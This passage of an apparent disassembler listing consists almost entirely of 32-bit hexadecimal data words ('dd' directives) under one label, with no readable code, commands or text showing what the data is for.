		dd 30B49370h, 503B4CDFh, 0A2A01F80h, 2A00D337h,	3326F86Eh
		dd 0F6852E3h, 0AE51649Eh, 5C41ED6Ch, 0C7F29B03h, 810F2662h
		dd 0FC293CD4h, 0A4171800h, 9BD33088h, 9A387F00h, 932EDE57h
		dd 5081741h, 0B2002548h, 0B1821D88h, 6D2A5EC0h,	58B40CECh
		dd 310228DFh, 2DFF092Fh, 1097B044h, 12969450h, 95AA1EAh
		dd 0D889937Ch, 0E5796CD9h, 0C8A36E18h, 95E04B93h, 0AE1E65EDh
		dd 12D62D3Ah, 0F9213804h, 4168E301h, 0F8B204A3h, 0BF304FF2h
		dd 0BC920081h, 0CBD7A12Dh, 6A019F94h, 9BBE34A4h, 0B824820Dh
		dd 0C1F129D1h, 1854D134h, 0F4C50292h, 0C1FD33AAh, 7CE098AFh
		dd 6B097661h, 83C73B07h, 54A0EFE7h, 8C0407h, 0E0325B4Eh
		dd 0DA84C286h, 5880B74Dh, 496300D8h, 723F6554h,	14D612EBh
		dd 0CC981705h, 564BDA4Ch, 0D4C85CD0h, 374C0084h, 0AE6F7871h
		dd 0CC7EC668h, 0C0470524h, 0D4CEC404h, 9587FC81h, 108C2F2Fh
		dd 80C064EEh, 0D93A1E19h, 0F0508326h, 338CE51Dh, 0B6B4AEEAh
		dd 1D465E48h, 0AC3DF000h, 1F474082h, 0E423CA12h, 0B8F150F5h
		dd 0B0961200h, 6038A12Dh, 51B9E18h, 7D696E16h, 0B1DC47ACh
		dd 0D2818477h, 0FCE01560h, 0CA17DDA7h, 549ABD10h, 0AA1CEEC0h
		dd 48A314ACh, 0C0085782h, 9892D907h, 191BFCC0h,	942890E0h
		dd 45E31CECh, 0A0D14BDDh, 705767Ch, 25017BDBh, 48FA4F4h
		dd 5BEFD34Ah, 6D6CF433h, 9C9ECCB8h, 0C0B77F0Ch,	0E4C8C814h
		dd 0B6040F8Ah, 0A402A116h, 7E62EAA2h, 9E00DCE8h, 0F395D835h
		dd 72B546EDh, 0A2554EDFh, 0CE007060h, 0E6A7A1D1h, 57DBDEh
		dd 0FC82B183h, 9B3986B6h, 9381560Fh, 0C8E68AF3h, 0C7418549h
		dd 40A2C825h, 0A9301CF2h, 0E43093Eh, 30E84D1Bh,	0D400E6F1h
		dd 0E9951C50h, 6D255BDh, 0A5716D4Bh, 0F2670B4h,	56118C47h
		dd 7F011D07h, 0D19B804Ah, 61E5507h, 4B025B5Dh, 0B7D5B323h
		dd 0A21B8C9Ch, 0CB6BDC42h
		dd 94040319h, 0F6BCB0F5h, 13CC4E31h, 0D198E1CCh, 0E0E205FCh
		dd 6F304AF2h, 0CC3F3EADh, 0B3FB8A80h, 0A9B14F8Fh, 8C60C024h
		dd 54FDE944h, 0ED5CF1ACh, 4BDF0FD0h, 4717F01Fh,	0BF2102C1h
		dd 909D6709h, 61E51A08h, 0F4C354F2h, 0E014D98h,	781DF97Eh
		dd 6C25B569h, 216A49CDh, 70660994h, 6140CD5Ch, 0CB654BB5h
		dd 0E4C4C4C8h, 75EED930h, 0EFDA7D13h, 7A02A45Eh, 0C86BB319h
		dd 5C03858h, 2D47DDF7h,	0C86F1Eh, 9D7A1A38h, 13344794h
		dd 1A8D9693h, 2C5ED64Ch, 0CC54C692h, 0B093CA8h,	0C4ED517Bh
		dd 88E5E824h, 6440E8A9h, 4F8CEC96h, 0F76C221Eh,	0FC642Bh
		dd 0FA91D47Bh, 9338ACDBh, 3014AA00h, 0E4DF05F3h, 0A89D0041h
		dd 8179748Ah, 18060A08h, 0C0D9A0E8h, 788CB391h,	74072CDFh
		dd 6A7ED211h, 0D8F68833h, 5280516h, 9EAC22D1h, 0A9DC02C5h
		dd 5CD044A1h, 0E9971212h, 0C010202Fh, 535CC0E4h, 4354C75h
		dd 0C99E1CA5h, 28B8FBh,	0DC093C56h, 4B22CD59h, 0A92420E5h
		dd 3481B97Ch, 0E0309C31h, 0A5FA885Eh, 0F52CFF1Dh, 302AA941h
		dd 1EE15423h, 97B5E7C0h, 0C208941Dh, 567762E4h,	6962D486h
		dd 923DE09h, 0E130E81Dh, 14C89DA6h, 0C900CF5Eh,	0FD2E673Fh
		dd 95B7224h, 9CA94AEFh,	44B59C60h, 4D79A70Ch, 0B86B1142h
		dd 0D93F3F8Ch, 0D000985Ch, 6C298EB0h, 48641144h, 0CCF93C68h
		dd 2CA99C09h, 7CC90461h, 0E51010B0h, 145C3884h,	26E81234h
		dd 8B53B4C8h, 0E38D5825h, 779BE29Ch, 3A001014h,	98C6F121h
		dd 31E19EE2h, 0C54819B7h, 0C40C386Ah, 740D052Fh, 282F7A38h
		dd 5A135123h, 22C5F889h, 0F73EA0C7h, 0F26A0041h, 12AB6A8h
		dd 995B98EEh, 10044412h, 38ACD0A9h, 9DE52B00h, 9FD9318Ah
		dd 9150179Dh, 0E625871Dh, 0B059A303h, 6FFBD19Eh, 31C0D811h
		dd 95325C18h, 0E80431D3h, 6CC07A8Ah, 5D4DF19Dh,	2F4F2498h
		dd 0EE8239Ch, 0DCC3936Ah, 6C699E7Bh, 605179h, 0E236D270h
		dd 74FA424Ch, 0C84645Eh, 2188B8CEh, 0FDDC8BC0h,	308D506Fh
		dd 0DCEC94E4h, 0E1389900h, 43328CA0h, 0CA114B1h, 293EC848h
		dd 16F789Eh, 1970C566h,	0ECFC2C60h, 29028CE8h, 3D9B5FA7h
		dd 1F947824h, 58C5670Ch, 2F314992h, 44DCA92Fh, 4F181604h
		dd 90381841h, 76486025h, 0B7F11080h, 80365C14h,	0AD701782h
		dd 0E8043054h, 0DCC1F17Eh, 0B804E461h, 8CC4BC50h, 2C397104h
		dd 78B0929Fh, 0B8E0658Ch, 54880D61h, 6B3441B9h,	0EC677AC1h
		dd 7BD9F650h, 0F9D3C44h, 66C8CC4Ah, 25F99B25h, 2CA83A3Ch
		dd 7C8C51BCh, 41DC1A0Fh, 684089CCh, 234BA943h, 30849043h
		dd 6FE4E7h, 0BFF3F190h,	95E9FD12h, 7804035h, 8BA135BFh
		dd 0CDBC02B2h, 1D4DBE4Bh, 4F53D920h, 0C8C90048h, 0DFF0F16Bh
		dd 1B62CD43h, 80A113C0h, 494C696Ch, 0C29D73h, 6FB4987Fh
		dd 280D60A1h, 349D0776h, 40617231h, 0B02313F1h,	3E3120E2h
		dd 4C8CD2DCh, 824BC530h, 0A0ABCB0Ch, 4DD16871h,	0C9004418h
		dd 0DD699AA4h, 0C5839923h, 90364DA8h, 97D21E7Ch, 0D00B175Ah
		dd 2C44C1FCh, 0A94C05D2h, 0F22A00C0h, 0D770FAACh, 0A9761257h
		dd 0C43C310Fh, 34A0E59Eh, 0F7055740h, 0D6325BD3h, 0D98438F8h
		dd 55949CDFh, 10A8C09Dh, 43492C42h, 0B2EC893Ch,	0B59FB802h
		dd 0A99E5C7Eh, 646450D6h, 185FF8C1h, 0F8494B01h, 39F959DDh
		dd 16EB858h, 330B7ACBh,	6F25344Eh, 0EF927C05h, 53F9004h
		dd 0CF4CB500h, 7F02487Ah, 9B7BDA83h, 9DA88958h,	801A111Ch
		dd 0B7EAC975h, 2795A43h, 19696DA0h, 0FE09ECD4h,	0E16C2F55h
		dd 526AF2A3h, 71390432h, 9451E1E9h, 1518E579h, 32253D02h
		dd 7675EC60h, 0B0CA4078h, 1A028B99h, 23C62E69h,	172860AFh
		dd 991C925Ah, 0E37D00E0h, 93D3853Eh, 0CCF6D02Ah, 41680F0Ah
		dd 0ED41F4C4h, 3072E222h, 8CA9B104h, 3F3C0252h,	76D05ECEh
		dd 65005146h, 97424903h, 0B0B8CDECh, 1E02944h, 47D092D5h
		dd 7819210Fh, 8C4DBC0Ch, 598F2800h, 200352B5h, 0DDFF059Ch
		dd 4A7EC97Bh, 82A8A484h, 1F8BDA84h, 1940A044h, 7CACBCBCh
		dd 0FB002046h, 0DC4A7D46h, 0A913A0CCh, 2CD12924h, 3C015A8Ch
		dd 0DE4864ABh, 84587B7Ch, 11608870h, 32140954h,	0EF941848h
		dd 0F640D61Fh, 4BBE078h, 7864B5A8h, 648BF402h, 0D5946AF0h
		dd 0FE377490h, 0B48A83Dh, 377F2A1Dh, 5C2E0034h,	0E1CD663Dh
		dd 21FBBB14h, 975509F8h, 0B248412Bh, 7D9B6810h,	0C7802251h
		dd 0F84C5CA0h, 2F445B5h, 833D4BDEh, 2EDD5500h, 127C7885h
		dd 1140D25h, 0C8A210F9h, 9DB0535Fh, 67123805h, 0FC41B59Bh
		dd 8FD27CC3h, 4F3C026Bh, 0F0DAEB49h, 1A63C910h,	0A15C0F7Bh
		dd 4AF043D9h, 437BA82Fh, 0E3800E4h, 3DA4CECBh, 0C5C85AE3h
		dd 23683B6Ch, 53D40050h, 7AD76CD9h, 291CB700h, 782B0F2Fh
		dd 0C8594BBDh, 0E6000CD0h, 4D6BC702h, 0CDAFB9h,	0CECAA495h
		dd 0A0E755D1h, 8D40E101h, 7A066321h, 0EF02EFECh, 0B594042Fh
		dd 0D0D4D0B9h, 0E003314Eh, 0EBA79C7Eh, 0AE0EA0E3h, 4CEC0588h
		dd 0E979A241h, 730F0098h, 53A962E8h, 2EA1F607h,	4BC8CC2Dh
		dd 5180C000h, 755F7BE8h, 68B86C24h, 2C49FC10h, 0B913859Eh
		dd 6608BCF9h, 4C9EDD3Dh, 33287F08h, 69C18E10h, 28CC04B4h
		dd 80B372C1h, 8D314149h, 10395942h, 24A100F6h, 0C0B458CEh
		dd 175908h, 0AF6EDBDFh,	3D317F75h, 7EA1A85Eh, 1E84887Ch
		dd 20F616E5h, 4A2952E0h, 0EA2D8600h, 370288C6h,	204F285Eh
		dd 0C5245F80h, 0C8C4CB54h, 0BE70C3EEh, 2E1333A8h, 82F7B01h
		dd 0F737D19Eh, 726E6835h, 98A98EA0h, 9070FCF3h,	0FB5E4CCEh
		dd 6AB70976h, 58F03BC6h, 581E3920h, 887318E5h, 97096649h
		dd 0C4B538A9h, 7C044D44h, 0E7BCEC49h, 6BC06D00h, 0E369E5FCh
		dd 935FACBh, 0B7ED16Fh,	81086059h, 9CF92766h, 6A66301h
		dd 0BCFCD8A5h, 6F890276h, 4CEE8A34h, 54943846h,	0F0465Eh
		dd 157CCE8Ah, 17AA9513h, 0E34D7922h, 0C9770C5Ch, 17E0A153h
		dd 90F07543h, 79490420h, 0A007094Bh, 2795327Eh,	992AC4D0h
		dd 4000970Dh, 6A480611h, 81AB8800h, 3CFE7D25h, 0E82F4CEBh
		dd 0F4178FC7h, 0E80C855Ch, 629F0590h, 34CEB11Fh, 0FDC0EF88h
		dd 3EE0ADCCh, 4C82614Eh, 9F3422A6h, 0C7216860h,	0D4FC9684h
		dd 59DA1A2Dh, 0C5CA0254h, 0A8F04B41h, 20CD7B17h, 68E5CC20h
		dd 34231E3Dh, 5F120182h, 48EF9D9Bh, 0F098DFA0h,	98881741h
		dd 0DE03A84Dh, 26226933h, 0A7C06819h, 53441447h, 0B703E160h
		dd 292770FEh, 1B8868DFh, 0CC398360h, 42D12D5Eh,	268D998h
		dd 14C61D0Dh, 5A9664C0h, 0A40C4C03h, 0E2A825C5h, 8E10D493h
		dd 5454833h, 94884081h,	34BECE84h, 48B968D2h, 62961316h
		dd 94A06D88h, 325541F7h, 3C9C62FBh, 25054498h, 5CD9C556h
		dd 0ACFD3A00h, 55A1A17h, 74062C0Eh, 0E80CF8EAh,	0C5028C4Dh
		dd 0C96955F5h, 3DE8E002h, 1521C063h, 0DC0EC11h,	65663614h
		dd 98032AC8h, 10B19DFEh, 0A27EE809h, 13EE65B4h,	0D6DE60FCh
		dd 0B84F2F0Dh, 0D5F44816h, 71EBD600h, 0CF69480Ah, 0A452000Fh
		dd 4B15A37h, 74FD41A1h,	2D2E340Ch, 0E06E74B7h, 7ED5AC09h
		dd 20CB4BD2h, 325C12A4h, 9138F20h, 0A9897177h, 2EE8C49h
		dd 7CCCD452h, 82E4DD21h, 0BE42ECB2h, 855708C0h,	0A1173879h
		dd 3091B71Ch, 909FAF40h, 0BE800421h, 1050E9CFh,	9402191Dh
		dd 4E078C9Eh, 36D021DFh, 1E70DFF6h, 0A24C0221h,	299BDDA3h
		dd 2F6C05DDh, 759C04BAh
		dd 996D0122h, 9C7BA549h, 0AA157704h, 4AC8AEFDh,	0B9E0C8E6h
		dd 84017856h, 9ECAE033h, 496F3F92h, 0C0524C68h,	0B800FCE6h
		dd 0FD81A793h, 0BE1114h, 0AD456CC7h, 289FF8F4h,	0C93F3500h
		dd 0C247540Fh, 314B4E4Ch, 12DFE1ECh, 7978D26Eh,	80EB0118h
		dd 0B563109Fh, 366BFC24h, 0A4B24500h, 6A959091h, 0DD4D345Ah
		dd 6F6C9089h, 0C516680Ch, 74D08071h, 83B2CC31h,	216B7811h
		dd 4D82AC06h, 0A8BE41FDh, 75DE8340h, 437A26h, 3AFD8C94h
		dd 0F2BAB838h, 0A293FE04h, 94E4A684h, 39AC6098h, 9F5D3D5Ch
		dd 494C8B06h, 9668247Fh, 0A000DC10h, 391769Ah, 446F5866h
		dd 987BB5DAh, 0F062B14Bh, 1CCD2B0Dh, 63F1D9C0h,	153E630h
		dd 73A11250h, 6A6D68F7h, 689B1C4Eh, 9A4D0C1Ch, 3CBC3BA9h
		dd 0F48C2E80h, 28BDBE07h, 0FCB3068Bh, 4144C26h,	8C1BE8h
		dd 892561FCh, 45A623BEh, 647C7B70h, 713F5A03h, 0C0C6F411h
		dd 4E31E3D2h, 0AF64C2A3h, 950D6910h, 0C5B56001h, 0E8906E4Ch
		dd 7473EB28h, 0B9400F8h, 0AF9AD1FBh, 1900CEA5h,	0D5ED903Fh
		dd 2E4E663h, 0A177579Dh, 0F00BB491h, 0D0609754h, 0C0905AC5h
		dd 4D80817Dh, 226B5EC6h, 5090DA8h, 0D8C31740h, 649900CAh
		dd 78ED363Ah, 0D21337ADh, 1482D3FBh, 0C99C2059h, 28B61157h
		dd 0F80DDCFh, 0FE2A3DD4h, 189FBFF6h, 60E4C008h,	0ED1300Ch
		dd 51545C27h, 0E9948084h, 952C8FFAh, 2FC88958h,	3A24E833h
		dd 0D76B02A9h, 17E17016h, 0FD7BE800h, 4C44B780h, 349B8D74h
		dd 0EAA15D8h, 20D87140h, 1CD7A720h, 137864D5h, 0E878E103h
		dd 0D22EE7F8h, 94E46Fh,	8D7DF33Dh, 1D6AA1DAh, 0DF7B3412h
		dd 380E8EDh, 7D36B579h,	5A1CA48h, 951406DFh, 0E0764CE9h
		dd 0C46097E7h, 0C70BB1EAh, 76723EB8h, 0AE656048h, 7A17AB14h
		dd 7830D9B9h, 4A9611FDh, 0C3489AE9h, 0B4713094h, 0AF48C0A8h
		dd 0C0214B72h, 7F2BC540h, 60E84D97h, 0B54CBF88h, 0C33D7013h
		dd 43720CE4h, 58FC3A61h, 43C4F8D0h, 0BF6E00E4h,	0B66A0D46h
		dd 9DED733Ah, 0E5B4ACA2h, 7549CF00h, 0EC22B554h, 4F00B27Fh
		dd 0B659BCA1h, 9C41A530h, 688F2B65h, 55C75088h,	4B34D440h
		dd 88C625C1h, 0E6E81490h, 0C9937C00h, 0A0DD4CDCh, 0CC2C0178h
		dd 0C0A94F67h, 2589BB46h, 44B04640h, 73093817h,	41CDC8E3h
		dd 7C65EDDCh, 8130DE2Eh, 0BBF9D504h, 23CC82Bh, 0DD53AF00h
		dd 1D447D8Ch, 8EC9E785h, 0F9955470h, 414F0F00h,	0B0562531h
		dd 807DC83Ch, 6673D1Dh,	0C0BEC033h, 0ED65C508h,	20792F64h
		dd 2E00EA2Ch, 0C217BDDDh, 0F0050070h, 1B3C1819h, 75034189h
		dd 6C7CD2E5h, 2824B24h,	0B8FDA000h, 0CB44AE5Fh,	64B06780h
		dd 0ADB36126h, 16ACA9D4h, 4DE8CF2h, 16653B8h, 467CA46h
		dd 0E055C097h, 49133238h, 788866D5h, 0EC408A78h, 4E97C045h
		dd 2AB91730h, 0BA2C0005h, 352E4928h, 0C4EE1000h, 764145FCh
		dd 0B2E73D08h, 0C29A5B00h, 54AA7C15h, 0B578EA60h, 0AA5E853Ah
		dd 79B8E8B0h, 0E48E635h, 1839B3D0h, 0A17D19E7h,	708FD106h
		dd 0C740C1ECh, 136A1224h, 0F2A0E296h, 4AF530C2h, 0BEE0A919h
		dd 16105D81h, 1900F6D9h, 9D76CBA1h, 91EE77E1h, 0D4A12FA4h
		dd 785AF393h, 38CE83C8h, 0DE7E88E3h, 0A06C967Bh, 0B611209Ch
		dd 0AF9A342Fh, 5B13A90Ch, 7B3ED044h, 0B1103C30h, 95794F05h
		dd 319ED821h, 57B196ACh, 2B6B9C9Dh, 1D5323E0h, 0D4F55DB0h
		dd 2F001C9Fh, 2654B2A9h, 1069A1C9h, 98CE679h, 0D48B5A36h
		dd 141DA456h, 80F44604h, 0AD1FB0F8h, 0DA6181FDh, 2A26077Bh
		dd 9BA19C03h, 2DA83EFEh, 70960F00h, 648453A9h, 5B2C8600h
		dd 30FCE31Eh, 0E3314E0Dh, 0E171258Ch, 56AA524h,	338FB898h
		dd 0C6E01ECCh, 0D092FC70h, 80ECB095h, 0E81A9711h, 0B89D1C1Bh
		dd 0BA1610F8h, 1C80B709h, 0C448EC89h, 5A0588EEh, 19EB4149h
		dd 5B58428h, 44A99755h,	15383117h, 99F9841Ch, 71FF1BFh
		dd 0EBD16F87h, 6716B0D8h, 0CC98B3E3h, 5F7CA271h, 992C6480h
		dd 98BFA2D1h, 6023E0F8h, 177A127h, 0ACAAACBEh, 78BC247Dh
		dd 0B70284C7h, 1120942Bh, 0D48F193h, 90146DC9h,	9C0D2BF0h
		dd 0D3BF02B0h, 0A888CBA6h, 1A226570h, 54D1E190h, 515E2488h
		dd 78F06071h, 82B2D500h, 0E51784E0h, 499B18DDh,	9EE14015h
		dd 0DC08F807h, 89B0135Dh, 376B81Bh, 0D250E57h, 0E3905365h
		dd 9E3745FDh, 1200204Ah, 0E4DEDDC0h, 0B6360264h, 1559F449h
		dd 30275060h, 69ACE8BDh, 810A0EE3h, 66807005h, 682DFCFDh
		dd 5ADC8E00h, 8924C91Dh, 254A038Dh, 0DD550F2Ah,	0E4B3A6E8h
		dd 80DC08B4h, 55CDDA2h,	9F76A5Ah, 4E0829Ch, 979550F8h
		dd 0E51B8898h, 0EC768460h, 324102BFh, 0B2B3A286h, 11C810FDh
		dd 602B0035h, 6C6D8D94h, 0C9E8DB20h, 0D9E68000h, 363531E4h
		dd 0FDD51977h, 0E056592Ch, 12264088h, 0AE074478h, 30E00508h
		dd 12DD51EAh, 21CEABCDh, 70886718h, 11C06128h, 1DAAC4DFh
		dd 6FC61297h, 0DD083AEh, 19711018h, 4529599h, 5BE51EF4h
		dd 5094AD31h, 28AD662Ch, 0F8667608h, 0EE097657h, 72335BDDh
		dd 222F248h, 0E75EC823h, 85F7B1A4h, 0B440B36Ch,	57591A30h
		dd 401F5688h, 2324C282h, 404FCCDEh, 0CDE00B18h,	639B0BC3h
		dd 50FA480Dh, 61763C25h, 0BC222EE0h, 633CAD74h,	41AD6EC6h
		dd 7AA87EA4h, 885468E5h, 5934A1B0h, 0C0DF0BDCh,	80B7DE0h
		dd 0C21893F1h, 1ED15E3Ch, 1C440077h, 9EAAB4DFh,	48A220FCh
		dd 9D46BC3Ch, 8A95CCDDh, 2B741278h, 60B4894Bh, 506440EEh
		dd 5C3986F1h, 50611238h, 844354A5h
dword_4E414C	dd 1DE13244h, 9823677Eh, 253171B1h, 240E4Ch, 62F57DFBh
					; DATA XREF: ___:off_43ACE4o
		dd 0FFE2990h, 6512E29Ah, 701392h, 673C2420h, 20BF70C5h
		dd 0B19596D4h, 8611B077h, 0BC305220h, 97A6F0Ch,	8F481898h
		dd 17E44D9Ch, 14F8C61Ah, 0C07D4612h, 12B33CFCh,	60B2EF5Ah
		dd 93587FBAh, 0CF7A1304h, 41ADF806h, 98733110h,	8CBA0608h
		dd 8CA2918h, 6229C493h,	7CB3049Ah, 8701706h, 20CC1030h
		dd 0F8221288h, 0F699407Bh, 1518F866h, 4D3E3239h, 4703DF31h
		dd 0B0101033h, 96D33D5h, 78068CBDh, 7FFC2067h, 7DF708C4h
		dd 1519BC0Ch, 6E4C6340h, 0FB0C30DAh, 5F625508h,	3F1EE18h
		dd 104C31A8h, 620863AAh, 0B11832FCh, 41230E59h,	74C01010h
		dd 0B8331048h, 18117F19h, 30E9881Bh, 214C1B17h,	818C49Bh
		dd 0B238925Ah, 8908C424h, 216A0C2Bh, 3469C6B0h,	8731085Dh
		dd 0F5E618A2h, 90720895h, 8852E18h, 5E818B26h, 0A6589452h
		dd 33095AC8h, 9618263Eh, 0C2E88910h, 1869C610h,	4910D424h
		dd 0A408C4AFh, 9C0C0ABCh, 10D42995h, 0E510B175h, 495C3137h
		dd 3F029CD8h, 36958CA2h, 18792B03h, 28C9E908h, 5A81342Fh
		dd 8D9DE188h, 871B31Dh,	0BE0174A5h, 7B3092ABh, 4C7F0C44h
		dd 99C47A0Ah, 0E7F9C91Eh, 40531015h, 8BE965FCh,	8C86C44Ah
		dd 0C3F2588h, 0CA086A7Fh, 6440F962h, 9C28022Dh,	0F192B028h
		dd 9BE91446h, 8CBB5418h, 492892C8h, 0B4246036h,	0B2C48C40h
		dd 7E625B08h, 4994B920h, 0C6046664h, 34A889E9h,	180782Ch
		dd 3910CFC5h, 0D7BF10B0h, 10321310h, 0DD18D50Dh, 8E4408D6h
		dd 8C8318C6h, 1AFB3208h, 8483688h, 28DDDD4Ch, 407E93D0h
		dd 79C42F62h, 33062708h, 0DE40716Fh, 0E98A826h,	210CCB4h
		dd 88A87981h, 88928F68h, 0AA082F62h, 46990535h,	84F7988h
		dd 66903220h, 0B1502928h, 48DB3531h, 67037BA9h,	0B038C118h
		dd 0C4A1ED18h, 4DC0E08h, 2C04D01Fh, 44749422h, 0A6869A4h
		dd 0AE88C08Fh, 0BC7115D3h, 10A39819h, 401C24BCh, 0C6C89D40h
		dd 96BC9C1h, 920E4940h,	8D44D90h, 99601226h, 889BF972h
		dd 0CBA5321h, 0DD3861E6h, 62F2B840h, 60E21023h,	0B28869h
		dd 5C089A05h, 0C80883Bh, 0EB7BF337h, 0A3017894h, 70542B38h
		dd 244E1081h, 0C30D81AAh, 0B95B6DC0h, 0C48B3F26h, 66195780h
		dd 25393F2h, 892DC91Eh,	60574AF3h, 2C42491Ch, 6BB8F517h
		dd 0C6F49800h, 0B5006335h, 2FEFBE3h, 4343C01h, 0CA597EBDh
		dd 0BD2B0FD6h, 3638E618h, 0E879014Ah, 4BBB9964h, 0DEB880AEh
		dd 7D3910CAh, 31C23CDDh, 1705F073h, 80B2D0A3h, 0EA96CE8h
		dd 3D52BC06h, 0E438FF06h, 2F100EAAh, 3C84A2DEh,	0D2CA8C7h
		dd 0A9EE7514h, 38541C8h, 0FDBCB71Fh, 1805C3E6h,	0C13CBFB5h
		dd 8A6CD891h, 180FAAC8h, 3804C06Fh, 91070AAFh, 9FEEFF38h
		dd 0FD94E7F0h, 0B1290125h, 955DB7BBh, 590840A5h, 0D5ADB05h
		dd 0DAB7ECD1h, 0EF7C6980h, 9E10A36Bh, 0DB125803h, 52F853Ch
		dd 4D5903C0h, 0E840A1E0h, 0DD0D8E66h, 20ED4E3Ch, 20771081h
		dd 2B303741h, 609A28D0h, 0F8780112h, 584E0740h,	25188C23h
		dd 62E686Ch, 3CF072E8h,	3700E1B1h, 113D6470h, 30D44D86h
		dd 0B310CDFDh, 0DF8384Eh, 0E6702660h, 1BC2271h,	2AAFAC51h
		dd 8FCD20FEh, 0CC4E02C8h, 3A5D68C3h, 2E00E32Fh,	1B56770Ch
		dd 856063FEh, 0AB61DD29h, 5D871D37h, 0BA2A0076h, 64DE837Eh
		dd 0A3E42E07h, 0F2C71BB5h, 12A84880h, 0D09B0A7Ch, 80D854CCh
		dd 0EAD62E36h, 0B0CEB5AFh, 0E4B72034h, 96AC2Ah,	0B86BD2E3h
		dd 0A00C3BFDh, 900EB8CAh, 0DEFE63C0h, 9514786Dh, 60493850h
		dd 40D0A90h, 14001423h,	0D46F55F5h, 0DF4D4060h,	3C111217h
		dd 0D039C490h, 686D0F44h, 2884E8B6h, 0F308003h,	0B2E85E17h
		dd 40F0C4A0h, 2A6140A4h, 7AEA597Eh, 12B8D850h, 40A63AE9h
		dd 38B04E3Eh, 4A294D0h,	0EA4ADE05h, 0DC815237h,	0FAF0C2E6h
		dd 51DD041Eh, 0AAAA6FDFh, 0E86DC003h, 0D539C140h, 0CE0010BFh
		dd 0F2BCB0D1h, 256561E5h, 42803520h, 5B7D64h, 7E5D9F95h
		dd 4E091C9Bh, 90133930h, 9B381D4h, 0A7A1BBB9h, 81B2C024h
		dd 8043FCA0h, 0DD894510h, 1221531h, 0ED887C6Ah,	41FB3CDCh
		dd 0F9D613FCh, 0DEDFD325h, 6F67B581h, 24687C56h, 9108F8CAh
		dd 284F000Eh, 6C8DDCF7h, 1AD90614h, 444510B0h, 1DDF6200h
		dd 0F4B74366h, 60002C90h, 0F01A11C7h, 0BCCE65h,	1F1B15B2h
		dd 275E2E37h, 5D126F00h, 0A0DCD0E6h, 0DFA0179h,	0C1B50EE3h
		dd 31B424F7h, 5272E625h, 27DB02ECh, 0F30D6F0Ch,	7409C8Fh
		dd 56AA5BF2h, 0E8D56600h, 0C0CC2D63h, 6F770B72h, 0DCE802A1h
		dd 521D364Bh, 0C5C0E4D7h, 0FFD0F513h, 0E2FA8028h, 0EF6FA400h
		dd 0B8A2BAF7h, 4EDB0117h, 66652C2Ah, 4C8406Bh, 0E528B26Eh
		dd 6F244874h, 0C00138D2h, 2485FDF7h, 90315420h,	54FE2A20h
		dd 0C449779Ch, 56E4820h, 7009F045h, 4E3C0112h, 34684A42h
		dd 1FBE5BC4h, 1A6D8Bh, 0DD6F41FDh, 8378DE7Ch, 8855FF3Fh
		dd 986057h, 0D864F531h,	7A5036DDh, 0D46204BFh, 831CAF3Ch
		dd 0A0E7BA78h, 0F2B31F32h, 1189201Dh, 0C6706B00h, 60033C7Bh
		dd 0AB982805h, 0FD006F10h, 6512087Dh, 3DD2DBF0h, 0F8000CDCh
		dd 3CAC0D1Bh, 0B092A590h, 843F0102h, 60372716h,	0E056B6B0h
		dd 9C98C1D5h, 452A3882h, 94981254h, 8A040E0h, 86E52ECFh
		dd 5CA5EF18h, 74180E9h,	0B2BF4801h, 0A7942099h,	8A00B316h
		dd 8057377Eh, 63C508h, 2E7B125Fh, 4DF9E728h, 68CBCF31h
		dd 0E5F535BBh, 78764C62h, 2CF10972h, 0D478EEFEh, 304E080Ch
		dd 528A947h, 0E73B6E12h, 24F4278Dh, 0FE3CC8DBh,	18B91D30h
		dd 4231BCh, 6A3B0192h, 3CF44E18h, 70C0157Eh, 48952017h
		dd 2C6B0C7h, 0B71080CEh, 8460BE54h, 0BB80A9ADh,	26FC9634h
		dd 0B30897Ch, 60889007h, 0FF14D876h, 8563828h, 0A8E4302Ch
		dd 0E0C63C09h, 306F1B20h, 5A82FA4h, 77260FACh, 0B408E44Dh
		dd 583109A8h, 74764802h, 83594041h, 710480D0h, 0D185C3BAh
		dd 11808243h, 182B310Dh, 1012FAB8h, 50042984h, 0BA12481Ch
		dd 0D2DC3000h, 1E5811B4h, 206EFE16h, 0E4E44F51h, 0F8028C20h
		dd 366FC732h, 3E006067h, 14F40FEFh, 4064125Bh, 0E8E08089h
		dd 8F3C3422h, 0A889CE65h, 0F27E081h, 2322F0EEh,	0C87B2904h
		dd 0C8F3680h, 1C664F67h, 0B06856D0h, 2416FF40h,	0F5587CFEh
		dd 0E7C110C8h, 5978B454h, 0BBC2C018h, 104A07F9h, 10276840h
		dd 102F3728h, 6F166106h, 1F107A53h, 41ECCCD5h, 5CFDA634h
		dd 0EEA84322h, 0A94C1BF3h, 0B4790020h, 0AFBDC623h, 0CC432C3Ch
		dd 0BC28A9C8h, 182590h,	0D612489Ch, 4194CBBh, 29FE7DCAh
		dd 474C90EAh, 0AC5CBE64h, 1B861F58h, 6FB5F601h,	80348DC4h
		dd 3BC81CCEh, 86023B43h, 8EED14E6h, 2B0CC871h, 464D8E0h
		dd 0D56ED7DEh, 6A901960h, 8CA06D08h, 5700BF3Eh,	0CCD60260h
		dd 2E34C71Bh, 966445F8h, 1898439Fh, 0A6D01C79h,	104D4E0Fh
		dd 0B184005Ch, 4147C012h, 7830F749h, 214942Bh, 80540B7Bh
		dd 0CEC9AA60h, 4D9DA400h, 7A5967DEh, 0C540C0ECh, 82CB1AFCh
		dd 0BC3F1600h, 0EDEE32BAh, 370D07D5h, 0E0122F56h, 59927C9Dh
		dd 0B366D16h, 0D98564D0h, 6F130B4Fh, 0B020C5F2h, 0F687FDAEh
		dd 3D0680C0h, 79454Bh, 81F39DCAh, 0FB625B9Eh, 2CE0403h
		dd 13BB526Fh, 4DFE339h,	0C8A09414h, 0FD264F50h,	70000C9Dh
		dd 236F60D8h, 0D9C0A98Ah
		dd 8473A84Ch, 6586B48h,	15D8CC5Ah, 7B3C1220h, 0E74400BCh
		dd 50288185h, 784E0B08h, 589C0F0Ch, 2D136C1h, 2A7AF001h
		dd 79CD0CA8h, 60112567h, 29723D80h, 0E4757DA5h,	0F9690403h
		dd 0C0DC77B5h, 6CC84BCh, 0CF20B490h, 0D8E52CC6h, 0CE17089Ch
		dd 488AE302h, 4DF0C09Bh, 20F49AB2h, 0ED2406B1h,	1A3D0877h
		dd 0E330935Ah, 977CC15Ch, 53907C40h, 0C347F28h,	0DA76596Ch
		dd 0E60032A0h, 6718D261h, 92844DC6h, 0B0314974h, 8326416h
		dd 0BB84BA0Ch, 0C09419F2h, 0A88A3887h, 3280874Bh, 954A4FD1h
		dd 372C1863h, 0C09A6424h, 6A14E948h, 0F2D8D01Ah, 4A8E2B1h
